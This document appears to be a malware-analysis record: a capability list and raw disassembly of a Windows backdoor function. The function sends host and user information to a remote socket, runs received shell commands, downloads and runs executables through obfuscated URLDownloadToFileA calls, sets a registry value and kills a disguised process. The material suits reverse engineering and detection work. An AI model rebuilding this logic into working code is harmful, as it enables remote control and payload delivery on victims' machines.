Function at 0x420ea0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path
Get memory capacity
Get session user name
Get socket status
Get system information on windows
Receive data
Receive data on socket
Send data
Send data on socket
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x22bc
call fcn.005fbbd0
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
call fcn.004203f0
mov dword [0x76e6f8], eax
cmp dword [0x76e6f8], 0
jne 0x420ed1
jmp 0x421aa6
push 0x4b
mov eax, dword [0x76e6f8]
push eax
call fcn.004187c0
add esp, 8
mov dword [ebp - 0x2280], 0x100
mov byte [ebp - 0x6c8], 0
push 0xff
push 0
lea ecx, [ebp - 0x6c7]
push ecx
call fcn.0061cde0
add esp, 0xc
mov byte [ebp - 0x7c8], 0
push 0xff
push 0
lea edx, [ebp - 0x7c7]
push edx
call fcn.0061cde0
add esp, 0xc
mov byte [ebp - 0x8c8], 0
push 0xff
push 0
lea eax, [ebp - 0x8c7]
push eax
call fcn.0061cde0
add esp, 0xc
lea ecx, [ebp - 0x2280]
push ecx
lea edx, [ebp - 0x6c8]
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x22bc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x150c], 0x40
lea ecx, [ebp - 0x150c]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0
push 0x400
mov edx, dword [ebp - 0x1500]
push edx
mov eax, dword [ebp - 0x1504]
push eax
call fcn.006935f0
push 0
push 0x400
push edx
push eax
call fcn.006935f0
mov dword [ebp - 0x2290], eax
mov dword [ebp - 0x228c], edx
push 0x198
push 0
lea ecx, [ebp - 0x17a8]
push ecx
call fcn.0061cde0
add esp, 0xc
push 0x404
push 0
lea edx, [ebp - 0x1fb0]
push edx
call fcn.0061cde0
add esp, 0xc
call fcn.0041f540
test eax, eax
je 0x42100f
push 0x716de0
lea eax, [ebp - 0x7c8]
push eax
call fcn.0041f8d0
add esp, 4
push eax
push 0x716de4
lea ecx, [ebp - 0x1744]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x421039
push 0x716df0
lea edx, [ebp - 0x7c8]
push edx
call fcn.0041f8d0
add esp, 4
push eax
push str._s__sBit
lea eax, [ebp - 0x1744]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x8c8]
push ecx
call fcn.0041cc10
add esp, 4
mov dword [ebp - 0x223c], eax
lea edx, [ebp - 0x17a8]
mov dword [ebp - 0x222c], edx
mov eax, dword [ebp - 0x222c]
mov dword [ebp - 0x2294], eax
mov ecx, dword [ebp - 0x223c]
mov dl, byte [ecx]
mov byte [ebp - 0x21f5], dl
mov eax, dword [ebp - 0x222c]
mov cl, byte [ebp - 0x21f5]
mov byte [eax], cl
mov edx, dword [ebp - 0x223c]
add edx, 1
mov dword [ebp - 0x223c], edx
mov eax, dword [ebp - 0x222c]
add eax, 1
mov dword [ebp - 0x222c], eax
cmp byte [ebp - 0x21f5], 0
jne 0x421066
lea ecx, [ebp - 0x6c8]
mov dword [ebp - 0x2238], ecx
lea edx, [ebp - 0x1674]
mov dword [ebp - 0x2228], edx
mov eax, dword [ebp - 0x2228]
mov dword [ebp - 0x2298], eax
mov ecx, dword [ebp - 0x2238]
mov dl, byte [ecx]
mov byte [ebp - 0x21f6], dl
mov eax, dword [ebp - 0x2228]
mov cl, byte [ebp - 0x21f6]
mov byte [eax], cl
mov edx, dword [ebp - 0x2238]
add edx, 1
mov dword [ebp - 0x2238], edx
mov eax, dword [ebp - 0x2228]
add eax, 1
mov dword [ebp - 0x2228], eax
cmp byte [ebp - 0x21f6], 0
jne 0x4210cd
mov ecx, dword [ebp - 0x22a8]
mov dword [ebp - 0x16e0], ecx
call fcn.00420470
mov dword [ebp - 0x16dc], eax
mov edx, dword [ebp - 0x2290]
push edx
push 0x716e00
lea eax, [ebp - 0x16d8]
push eax
call fcn.00404c10
add esp, 0xc
mov byte [ebp - 0x14cc], 0
push 0x3ff
push 0
lea ecx, [ebp - 0x14cb]
push ecx
call fcn.0061cde0
add esp, 0xc
push 0x400
push 0x198
lea edx, [ebp - 0x17a8]
push edx
call fcn.00420a30
add esp, 0xc
mov dword [ebp - 0x1fb0], 0x20204
mov ecx, 0x66
lea esi, [ebp - 0x17a8]
lea edi, [ebp - 0x1fac]
rep movsd dword es:[edi], dword [esi]
push 0
push 0x405
lea eax, [ebp - 0x1fb0]
push eax
mov ecx, dword [0x76e6f8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x4211c7
mov edx, dword [0x76e6f8]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x421aa6
mov byte [ebp - 0xccc], 0
push 0x3ff
push 0
lea eax, [ebp - 0xccb]
push eax
call fcn.0061cde0
add esp, 0xc
mov ecx, 1
test ecx, ecx
je 0x421a9a
mov dword [ebp - 0x1610], 0
mov dword [ebp - 0x2204], 0
jmp 0x421216
mov edx, dword [ebp - 0x2204]
add edx, 1
mov dword [ebp - 0x2204], edx
mov eax, dword [ebp - 0x2204]
cmp eax, dword [ebp - 0x1610]
jae 0x42123d
mov ecx, dword [ebp - 0x2204]
mov edx, dword [ebp + ecx*4 - 0x160c]
cmp edx, dword [0x76e6f8]
jne 0x42123b
jmp 0x42123d
jmp 0x421207
mov eax, dword [ebp - 0x2204]
cmp eax, dword [ebp - 0x1610]
jne 0x421276
cmp dword [ebp - 0x1610], 0x40
jae 0x421276
mov ecx, dword [ebp - 0x2204]
mov edx, dword [0x76e6f8]
mov dword [ebp + ecx*4 - 0x160c], edx
mov eax, dword [ebp - 0x1610]
add eax, 1
mov dword [ebp - 0x1610], eax
xor ecx, ecx
jne 0x4211fb
push 0
push 0
push 0
lea edx, [ebp - 0x1610]
push edx
mov eax, dword [0x76e6f8]
add eax, 1
push eax
call dword [sym.imp.WS2_32.dll_select]
mov dword [ebp - 0x2250], eax
cmp dword [ebp - 0x2250], 0xffffffff
jne 0x4212aa
jmp 0x421a9a
cmp dword [ebp - 0x2250], 0
je case.default.0x421351
lea ecx, [ebp - 0x1610]
push ecx
mov edx, dword [0x76e6f8]
push edx
call dword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
je case.default.0x421351
push 0
push 0x244
lea eax, [ebp - 0xccc]
push eax
mov ecx, dword [0x76e6f8]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x224c], eax
cmp dword [ebp - 0x224c], 0
je 0x421306
cmp dword [ebp - 0x224c], 0xffffffff
jne 0x421310
jmp 0x421a9a
mov ecx, 0x101
lea esi, [ebp - 0xccc]
lea edi, [ebp - 0x1bac]
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp - 0x1bac]
mov dword [ebp - 0x2224], edx
mov eax, dword [ebp - 0x2224]
sub eax, 4
mov dword [ebp - 0x2224], eax
cmp dword [ebp - 0x2224], 8
ja case.default.0x421351
mov ecx, dword [ebp - 0x2224]
jmp dword [ecx*4 + 0x421ab8]
mov ecx, 0x91
lea esi, [ebp - 0x1ba8]
lea edi, [ebp - 0x21f4]
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x21f4]
push edx
call fcn.004204d0
add esp, 4
jmp case.default.0x421351
mov dword [0x76f048], 0
jmp case.default.0x421351
mov dword [0x75dedc], 1
jmp case.default.0x421351
mov dword [0x75dedc], 0
jmp case.default.0x421351
mov byte [ebp - 0x10cc], 0
push 0x3ff
push 0
lea eax, [ebp - 0x10cb]
push eax
call fcn.0061cde0
add esp, 0xc
lea ecx, [ebp - 0x1ba8]
push ecx
push str.cmd__c__s
lea edx, [ebp - 0x10cc]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
lea eax, [ebp - 0x10cc]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp case.default.0x421351
mov byte [ebp - 0x5c8], 0
push 0x103
push 0
lea ecx, [ebp - 0x5c7]
push ecx
call fcn.0061cde0
add esp, 0xc
mov byte [ebp - 0xb4], 0
push 0x7f
push 0
lea edx, [ebp - 0xb3]
push edx
call fcn.0061cde0
add esp, 0xc
lea eax, [ebp - 0x5c8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov byte [ebp - 0x20], 0x25
mov byte [ebp - 0x1f], 0x63
mov byte [ebp - 0x1e], 0x25
mov byte [ebp - 0x1d], 0x63
mov byte [ebp - 0x1c], 0x25
mov byte [ebp - 0x1b], 0x63
mov byte [ebp - 0x1a], 0x25
mov byte [ebp - 0x19], 0x63
mov byte [ebp - 0x18], 0x25
mov byte [ebp - 0x17], 0x63
mov byte [ebp - 0x16], 0x2e
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x14], 0x78
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0
push 0x1a
call fcn.00408080
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00408080
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00408080
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00408080
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00408080
add esp, 4
add eax, 0x61
push eax
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0xb4]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
lea eax, [ebp - 0xb4]
mov dword [ebp - 0x2208], eax
mov ecx, dword [ebp - 0x2208]
mov dword [ebp - 0x2248], ecx
mov edx, dword [ebp - 0x2208]
mov al, byte [edx]
mov byte [ebp - 0x21f7], al
add dword [ebp - 0x2208], 1
cmp byte [ebp - 0x21f7], 0
jne 0x4214f0
mov ecx, dword [ebp - 0x2208]
sub ecx, dword [ebp - 0x2248]
mov edx, dword [ebp - 0x2248]
mov dword [ebp - 0x2288], edx
mov dword [ebp - 0x227c], ecx
lea eax, [ebp - 0x5c8]
add eax, 0xffffffff
mov dword [ebp - 0x2220], eax
mov ecx, dword [ebp - 0x2220]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x21f8], dl
add dword [ebp - 0x2220], 1
cmp byte [ebp - 0x21f8], 0
jne 0x42153b
mov edi, dword [ebp - 0x2220]
mov esi, dword [ebp - 0x2288]
mov eax, dword [ebp - 0x227c]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebp - 0x10], 0x75
mov byte [ebp - 0xf], 0x72
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x6d
mov byte [ebp - 0xc], 0x6f
mov byte [ebp - 0xb], 0x6e
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x2234], eax
mov byte [ebp - 0x34], 0x55
mov byte [ebp - 0x33], 0x52
mov byte [ebp - 0x32], 0x4c
mov byte [ebp - 0x31], 0x44
mov byte [ebp - 0x30], 0x6f
mov byte [ebp - 0x2f], 0x77
mov byte [ebp - 0x2e], 0x6e
mov byte [ebp - 0x2d], 0x6c
mov byte [ebp - 0x2c], 0x6f
mov byte [ebp - 0x2b], 0x61
mov byte [ebp - 0x2a], 0x64
mov byte [ebp - 0x29], 0x54
mov byte [ebp - 0x28], 0x6f
mov byte [ebp - 0x27], 0x46
mov byte [ebp - 0x26], 0x69
mov byte [ebp - 0x25], 0x6c
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x41
mov byte [ebp - 0x22], 0
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x2234]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2278], eax
push 0
push 0xa
lea ecx, [ebp - 0x5c8]
push ecx
lea edx, [ebp - 0x1ba8]
push edx
push 0
call dword [ebp - 0x2278]
push 5
lea eax, [ebp - 0x5c8]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp dword [ebp - 0x2234], 0
je 0x421658
mov ecx, dword [ebp - 0x2234]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp case.default.0x421351
mov byte [ebp - 0x2bc], 0
push 0x103
push 0
lea edx, [ebp - 0x2bb]
push edx
call fcn.0061cde0
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x2bc]
push eax
call fcn.0061cde0
add esp, 0xc
lea ecx, [ebp - 0x2bc]
push ecx
push str.C:Windows_splwow64cpu.exe
call fcn.0042c9e0
add esp, 8
lea edx, [ebp - 0x2bc]
mov dword [ebp - 0x220c], edx
mov eax, dword [ebp - 0x220c]
add eax, 1
mov dword [ebp - 0x2274], eax
mov ecx, dword [ebp - 0x220c]
mov dl, byte [ecx]
mov byte [ebp - 0x21f9], dl
add dword [ebp - 0x220c], 1
cmp byte [ebp - 0x21f9], 0
jne 0x4216bf
mov eax, dword [ebp - 0x220c]
sub eax, dword [ebp - 0x2274]
mov dword [ebp - 0x2284], eax
cmp dword [ebp - 0x2284], 4
jae 0x4216fd
jmp case.default.0x421351
mov dword [ebp - 0x2230], 0
lea ecx, [ebp - 0x2230]
push ecx
push 0xf003f
push 0
push 0x716e10
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [ebp - 0x1ba8]
mov dword [ebp - 0x2210], edx
mov eax, dword [ebp - 0x2210]
add eax, 1
mov dword [ebp - 0x2254], eax
mov ecx, dword [ebp - 0x2210]
mov dl, byte [ecx]
mov byte [ebp - 0x21fa], dl
add dword [ebp - 0x2210], 1
cmp byte [ebp - 0x21fa], 0
jne 0x421740
mov eax, dword [ebp - 0x2210]
sub eax, dword [ebp - 0x2254]
mov dword [ebp - 0x2258], eax
mov ecx, dword [ebp - 0x2258]
push ecx
lea edx, [ebp - 0x1ba8]
push edx
push 1
push 0
push 0x716e3c
mov eax, dword [ebp - 0x2230]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x2230]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [0x75e0d4], 0
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x2bc]
push edx
call fcn.0042c910
add esp, 4
push eax
call fcn.0041f130
add esp, 4
mov dword [ebp - 0x2244], eax
push 0
mov eax, dword [ebp - 0x2244]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0x2244]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x3c0], 0
push 0x103
push 0
lea edx, [ebp - 0x3bf]
push edx
call fcn.0061cde0
add esp, 0xc
lea eax, [ebp - 0x3c0]
mov dword [ebp - 0x2214], eax
mov ecx, dword [ebp - 0x2214]
add ecx, 1
mov dword [ebp - 0x225c], ecx
mov edx, dword [ebp - 0x2214]
mov al, byte [edx]
mov byte [ebp - 0x21fb], al
add dword [ebp - 0x2214], 1
cmp byte [ebp - 0x21fb], 0
jne 0x421828
mov ecx, dword [ebp - 0x2214]
sub ecx, dword [ebp - 0x225c]
mov dword [ebp - 0x2260], ecx
mov edx, dword [ebp - 0x2260]
push edx
push 0
lea eax, [ebp - 0x3c0]
push eax
call fcn.0061cde0
add esp, 0xc
lea ecx, [ebp - 0x2bc]
push ecx
push 0x716e4c
lea edx, [ebp - 0x3c0]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
lea eax, [ebp - 0x3c0]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x400
push 0
push 0x76ec08
call fcn.0061cde0
add esp, 0xc
lea ecx, [ebp - 0x1ba8]
push ecx
push 0x716e68
push 0x76ec08
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [0x75e0d4], 1
mov dword [0x75df64], 1
jmp case.default.0x421351
mov dword [0x75df64], 1
mov dword [0x75e0d4], 1
jmp case.default.0x421351
mov byte [ebp - 0x1b8], 0
push 0x103
push 0
lea edx, [ebp - 0x1b7]
push edx
call fcn.0061cde0
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x1b8]
push eax
call fcn.0061cde0
add esp, 0xc
lea ecx, [ebp - 0x1b8]
push ecx
push str.C:Windows_splwow64cpu.exe
call fcn.0042c9e0
add esp, 8
lea edx, [ebp - 0x1b8]
mov dword [ebp - 0x2218], edx
mov eax, dword [ebp - 0x2218]
add eax, 1
mov dword [ebp - 0x2264], eax
mov ecx, dword [ebp - 0x2218]
mov dl, byte [ecx]
mov byte [ebp - 0x21fc], dl
add dword [ebp - 0x2218], 1
cmp byte [ebp - 0x21fc], 0
jne 0x42195d
mov eax, dword [ebp - 0x2218]
sub eax, dword [ebp - 0x2264]
mov dword [ebp - 0x2268], eax
cmp dword [ebp - 0x2268], 4
jae 0x42199b
jmp case.default.0x421351
xorps xmm0, xmm0
movsd qword [0x76f008], xmm0
mov dword [0x75e0d4], 0
lea ecx, [ebp - 0x1b8]
push ecx
call fcn.0042c910
add esp, 4
push eax
call fcn.0041f130
add esp, 4
mov dword [ebp - 0x2240], eax
push 0
mov edx, dword [ebp - 0x2240]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0x2240]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x4c4], 0
push 0x103
push 0
lea ecx, [ebp - 0x4c3]
push ecx
call fcn.0061cde0
add esp, 0xc
lea edx, [ebp - 0x4c4]
mov dword [ebp - 0x221c], edx
mov eax, dword [ebp - 0x221c]
add eax, 1
mov dword [ebp - 0x226c], eax
mov ecx, dword [ebp - 0x221c]
mov dl, byte [ecx]
mov byte [ebp - 0x21fd], dl
add dword [ebp - 0x221c], 1
cmp byte [ebp - 0x21fd], 0
jne 0x421a22
mov eax, dword [ebp - 0x221c]
sub eax, dword [ebp - 0x226c]
mov dword [ebp - 0x2270], eax
mov ecx, dword [ebp - 0x2270]
push ecx
push 0
lea edx, [ebp - 0x4c4]
push edx
call fcn.0061cde0
add esp, 0xc
lea eax, [ebp - 0x1b8]
push eax
push str.cmd__c_taskkill__f__im__s
lea ecx, [ebp - 0x4c4]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
lea edx, [ebp - 0x4c4]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x4211e4
mov eax, dword [0x76e6f8]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret